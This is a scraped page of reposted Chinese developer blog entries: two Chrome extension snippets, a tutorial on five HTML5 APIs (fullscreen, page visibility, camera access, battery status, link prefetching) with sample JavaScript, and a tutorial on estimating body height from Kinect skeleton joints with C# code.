点击插件图标才执行代码

chrome.browserAction.onClicked.addListener(function(tab) { console.log("click"); });

新建标签并在此标签访问网页

chrome.tabs.create({'url': ‘http://www.cnblogs.com’,'selected':false}, function(tab2) {
                console.log("OK"); });

 

[转载]你可能不知道的5个功能强大的 HTML5 API - 梦想天空(山边小溪) - 博客园

mikel阅读(977)

[转载]【Web 前沿技术】你可能不知道的5个功能强大的 HTML5 API – 梦想天空(山边小溪) – 博客园.

HTML5 新增了许多重要的特性,像 video、audio 和 canvas 等等,这些特性使得能够很容易的网页中包含多媒体内容,而不需要任何的插件或者 API。而其它的新元素,例如 section、article、header 和 nav 等则是用来丰富网页内容。另外还有很多强大的 JavaScript API,下面这5个 HTML5 API 你可能不知道,通过今天这篇文章可以了解一下。

Fullscreen API

这个 HTML5 全屏 API 让 Web 开发者可以通过编程控制页面的全屏显示。这个 API 对于 JavaScript 游戏开发特别有用,例如这款单人射击游戏 BananaBread,在全屏状态下玩那是相当酷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 根据目标元素调用相应的方法
function launchFullScreen(element) {
  if(element.requestFullScreen) {
    element.requestFullScreen();
  } else if(element.mozRequestFullScreen) {
    element.mozRequestFullScreen();
  } else if(element.webkitRequestFullScreen) {
    element.webkitRequestFullScreen();
  }
}
// 在支持的浏览器中启动全屏
launchFullScreen(document.documentElement); // 整个页面
launchFullScreen(document.getElementById("videoElement")); // 单个元素

使用教程   在线演示

 

Page Visibility API

Page Visibility API 可以帮助开发者监听用户的焦点在哪个页面选项卡上面以及用户在选项库或者窗口之间的移动情况。如果使用合理的话,当焦点不在某个页面上的时候可以停止一些消耗很大的任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 部分浏览器只支持 vendor-prefixed
// 根据浏览器支持情况设置隐藏属性和可见状态改变事件
var hidden, state, visibilityChange;
if (typeof document.hidden !== "undefined") {
  hidden = "hidden";
  visibilityChange = "visibilitychange";
  state = "visibilityState";
} else if (typeof document.mozHidden !== "undefined") {
  hidden = "mozHidden";
  visibilityChange = "mozvisibilitychange";
  state = "mozVisibilityState";
} else if (typeof document.msHidden !== "undefined") {
  hidden = "msHidden";
  visibilityChange = "msvisibilitychange";
  state = "msVisibilityState";
} else if (typeof document.webkitHidden !== "undefined") {
  hidden = "webkitHidden";
  visibilityChange = "webkitvisibilitychange";
  state = "webkitVisibilityState";
}
// 添加一个时间来实时改变页面的标题
document.addEventListener(visibilityChange, function(e) {
  // Start or stop processing depending on state
}, false);

使用教程   在线演示

 

getUserMedia API

特别有趣的一个 API,能够调用电脑的摄像头,结合 <video> 标签和 Canvas 就能在浏览器中拍摄照片了。未来这个 API 将被广泛用来让浏览器和用户之间互动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 添加事件监听器
window.addEventListener("DOMContentLoaded", function() {
  // 获取元素,创建配置
  var canvas = document.getElementById("canvas"),
    context = canvas.getContext("2d"),
    video = document.getElementById("video"),
    videoObj = { "video": true },
    errBack = function(error) {
      console.log("Video capture error: ", error.code);
    };
  // 添加视频监听器
  if(navigator.getUserMedia) { // 标准的API
    navigator.getUserMedia(videoObj, function(stream) {
      video.src = stream;
      video.play();
    }, errBack);
  } else if(navigator.webkitGetUserMedia) { // WebKit 核心的API
    navigator.webkitGetUserMedia(videoObj, function(stream){
      video.src = window.webkitURL.createObjectURL(stream);
      video.play();
    }, errBack);
  }
}, false);

使用教程   在线演示

 

Battery API

顾名思义,这是一个电池 API ,明显是为移动设备准备的,用于监控电池的状态。能够通过事件监听电池电量的变化,电池的等级、可用时间等状态。下面是是示例代码,可以通过后面的教程链接学习更详细的使用方法。

1
2
3
4
5
6
7
8
9
10
11
12
// 获取电池对象
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
// 一组非常有用的电池属性
console.warn("Battery charging: ", battery.charging); // true
console.warn("Battery level: ", battery.level); // 0.58
console.warn("Battery discharging time: ", battery.dischargingTime);
// 监听电池状态
battery.addEventListener("chargingchange", function(e) {
  console.warn("Battery charge change: ", battery.charging);
}, false);

使用教程

 

Link Prefetching

这个链接预取 API 非常有用,让开发者可以控制网页资源在后台安静的预先加载,这样用户在浏览网站或者使用 Web 应用程序的时候能够有流畅的使用体验。可以预加载整个页面,也可以是单个资源,示例代码如下:

1
2
3
4
5
<!-- 预加载整个页面 -->
 
<!-- 预加载一张图片 -->

使用教程

 

上面这5个 HTML5 API 值得关注,在不久的将来这些 API 将被广泛的使用,因此越早掌握它们可以帮助你为构建优秀的 Web 应用打下坚实的基础。通过使用教程可以快速的熟悉这些 API 的基本用法和使用场景,提供的在线演示展示了直观的应用情况。

[转载]使用Kinect测量身高 - yangecnu - 博客园

mikel阅读(1041)

转载使用Kinect测量身高 – yangecnu – 博客园.

    使用Kinect测量身高的方法其实有很多种:

第一种方式是使用Kinect的视场角以及结合一些三角形几何运算,就可以大致测量出物体的高度,这一点在之前介绍深度影像处理的时候有提到。

第二种方式是使用Kinect骨骼追踪提供的20个关节点的相关坐标,在根据一定的算法测量出人体的身高。在Channel9上 面的这个例子的一个分享,在这里拿过来和大家分享一下。在这里,根据臂展和身高有相似的关系,我对这个例子做了一点扩展,计算臂展来粗略计算身高,用臂展 计算身高其实有个好处就是既可以使用正常模式(Normal model,20个关节点),可以使用坐姿模式(Seat model,10 个关节点),这样您坐着就可以测量身高,不过精度不保证哈。这里只是提供这么一个思路。

一. 计算身高的算法

Kinect获取的骨骼数据包含20个关节点的X,Y,Z坐标信息。您可能会想,为什么不直接使用头部(head)关节点和脚趾(foot)关节点之间的距离来直接计算身高。这样不准确,因为用户可能并没有站直,如果这样算的话,误差比较大。

另一个问题是,头部关节点给出的是头部中心点的位置,如果使用这个位置,您需要额外增加9至11厘米,但是即使这样,也不能达到百分之一百的准确,如果要 更精确一点的话,可能需要使用深度影像值来提取头部的顶部位置。也不需要那么麻烦,现在来看看我们怎样使用骨骼关节点来计算高度信息。

仔细观察下面的骨骼点,可以看到,身高可以由下面几部分组成(如图中红色部分):

• 头部(Head) –肩膀中心(ShoulderCenter)

• 肩膀中心(ShoulderCenter) – 脊柱中心(Spine)

• 脊柱中心(Spine) – 髋部中心(HipCenter)

• 髋部中心(HipCenter) – 左或右膝关节(KneeLeft or KneeRight)

• 左膝关节KneeLeft(右膝关节KneeRight) – 左踝关节leLeft (右踝关节AnkleRight)

• 左踝关节leLeft (右踝关节AnkleRight)- 左脚FootLeft (右脚FootRight)

KinectMeasureHeightw使用臂展计算身高,也可以计算图中绿色所示的关节点:

• 左手(HeadLeft) –左手腕(Wrist Left)

• 左手腕(Wrist Left) – 左胳膊肘(Elbow Left)

• 左胳膊肘(Elbow Left) – 左肩膀(Shoulder Left)

• 左肩膀(Shoulder Left)–肩膀中心(Shoulder Center)

• 肩膀中心(Shoulder Center)-右肩膀(Shoulder Right)

• 右肩膀(Shoulder Right)- 右胳膊肘 (Elbow Right)

• 右胳膊肘 (Elbow Right)- 右手腕(Wrist Right)

•右手腕(Wrist Right)- 右手 (Hand Right)

原理就是这样,下面来编代码实现。

二. 实现

程序界面很简单,展示20个关节点,然后显示计算结果。有几点需要说明:

首先,关节点的位置信息是三维的,下面公式用来计算两个关节点的距离

public static double Length(Joint p1, Joint p2) { return Math.Sqrt( Math.Pow(p1.Position.X - p2.Position.X, 2) + Math.Pow(p1.Position.Y - p2.Position.Y, 2) + Math.Pow(p1.Position.Z - p2.Position.Z, 2)); }

上面的代码很直接。第二步,我们应该使用左腿还是右腿还进行测量更加准确呢,我们使用那个追踪的最好的。下面的代码用来计算腿部处于追踪状态的点的数量。如果那个数量多,那么就用那一个。

public static int NumberOfTrackedJoints(params Joint[] joints) { int trackedJoints = 0; foreach (var joint in joints) { if (joint.TrackingState == JointTrackingState.Tracked) { trackedJoints++; } } return trackedJoints; }

使用上面的函数,我们就可以判断是使用左腿还是右腿了。

// Find which leg is tracked more accurately. int legLeftTrackedJoints = NumberOfTrackedJoints(hipLeft, kneeLeft, ankleLeft, footLeft); int legRightTrackedJoints = NumberOfTrackedJoints(hipRight, kneeRight, ankleRight, footRight); double legLength = legLeftTrackedJoints > legRightTrackedJoints ? Length(hipLeft, kneeLeft, ankleLeft, footLeft) : Length(hipRight, kneeRight, ankleRight, footRight); 

然后我们使用扩展方法,来计算骨骼的高度。下面是方法的代码:

public static double Height(this Skeleton skeleton) { const double HEAD_DIVERGENCE = 0.1; var head = skeleton.Joints[JointType.Head]; var neck = skeleton.Joints[JointType.ShoulderCenter]; var spine = skeleton.Joints[JointType.Spine]; var waist = skeleton.Joints[JointType.HipCenter]; var hipLeft = skeleton.Joints[JointType.HipLeft]; var hipRight = skeleton.Joints[JointType.HipRight]; var kneeLeft = skeleton.Joints[JointType.KneeLeft]; var kneeRight = skeleton.Joints[JointType.KneeRight]; var ankleLeft = skeleton.Joints[JointType.AnkleLeft]; var ankleRight = skeleton.Joints[JointType.AnkleRight]; var footLeft = skeleton.Joints[JointType.FootLeft]; var footRight = skeleton.Joints[JointType.FootRight]; // Find which leg is tracked more accurately. int legLeftTrackedJoints = NumberOfTrackedJoints(hipLeft, kneeLeft, ankleLeft, footLeft); int legRightTrackedJoints = NumberOfTrackedJoints(hipRight, kneeRight, ankleRight, footRight); double legLength = legLeftTrackedJoints > legRightTrackedJoints ? Length(hipLeft, kneeLeft, ankleLeft, footLeft) : Length(hipRight, kneeRight, ankleRight, footRight); return Length(head, neck, spine, waist) + legLength + HEAD_DIVERGENCE; }

同样滴,我们使用手,手腕,胳膊肘,肩膀,等9个关节点来计算臂展,并使用臂展来近似计算身高,下面的名为ArmExtendWith的扩展方法即为计算臂展的方法。

public static double ArmExtendWith(this Skeleton skeleton) { var armWidthDeviation = 0.5; var handRight = skeleton.Joints[JointType.HandRight]; var wristRight = skeleton.Joints[JointType.WristRight]; var elowRight = skeleton.Joints[JointType.ElbowRight]; var shoulderRight = skeleton.Joints[JointType.ShoulderRight]; var shoulderCenter = skeleton.Joints[JointType.ShoulderCenter]; var handleft = skeleton.Joints[JointType.HandLeft]; var wristleft = skeleton.Joints[JointType.WristLeft]; var elowleft = skeleton.Joints[JointType.ElbowLeft]; var shoulderleft = skeleton.Joints[JointType.ShoulderLeft]; // Calculate the left and right arm extends width double rightArmExtendsWidth = Length(handRight, wristRight, elowRight, shoulderRight, shoulderCenter); double leftArmExtendsWidth = Length(handleft, wristleft, elowleft, shoulderleft, shoulderCenter); return rightArmExtendsWidth + leftArmExtendsWidth + armWidthDeviation; }

最后,再SkeletonFrameReady事件中调用该方法即可。

void Sensor_SkeletonFrameReady(object sender, SkeletonFrameReadyEventArgs e) { using (var frame = e.OpenSkeletonFrame()) { if (frame != null) { canvas.Children.Clear(); Skeleton[] skeletons = new Skeleton[frame.SkeletonArrayLength]; frame.CopySkeletonDataTo(skeletons); var skeleton = skeletons.Where(s => s.TrackingState == SkeletonTrackingState.Tracked).FirstOrDefault(); if (skeleton != null) { // Calculate height. double height = Math.Round(skeleton.Height(), 2); double armExtendsWidth = Math.Round(skeleton.ArmExtendWith(), 2); // Draw skeleton joints. foreach (JointType joint in Enum.GetValues(typeof(JointType))) { DrawJoint(skeleton.Joints[joint].ScaleTo(640, 480)); } // Display height. tblHeight.Text = String.Format("Height: {0} m", height); tblArmExtendWidth.Text = String.Format("ArmWidth: {0} m", armExtendsWidth); } } } }

现在您可以运行代码查看结果了。

三. 结语

本文介绍了两种利用Kinect测量身高的方法,一种是之前讲过的,利用Kinect的视场角和物体构成的三角关系,运用几何运算,测量物体身高,第二种 是利用Kinect提供的骨骼数据,根据关节点直接的距离,来计算人体的身高。本文着重讲解了利用骨骼关节点之间的距离计算身高的两种方法,一种是 Channel9上面分享的利用头部、脊柱、髋关节、膝关节、踝关节等8个关节点的长度来计算身高,还有一种就是使用与臂展相关的,手、手腕、胳膊肘、肩 膀等9个关节点信息,较第一种方法相比,该方法可以使用坐姿模式进行计算,意味着您坐着就可以测量身高。当然,可能精度不是很准确,本文只是提供了一些 Kinect在测量身高方面的思路,源代码点击此处下载,希望本文对您有帮助!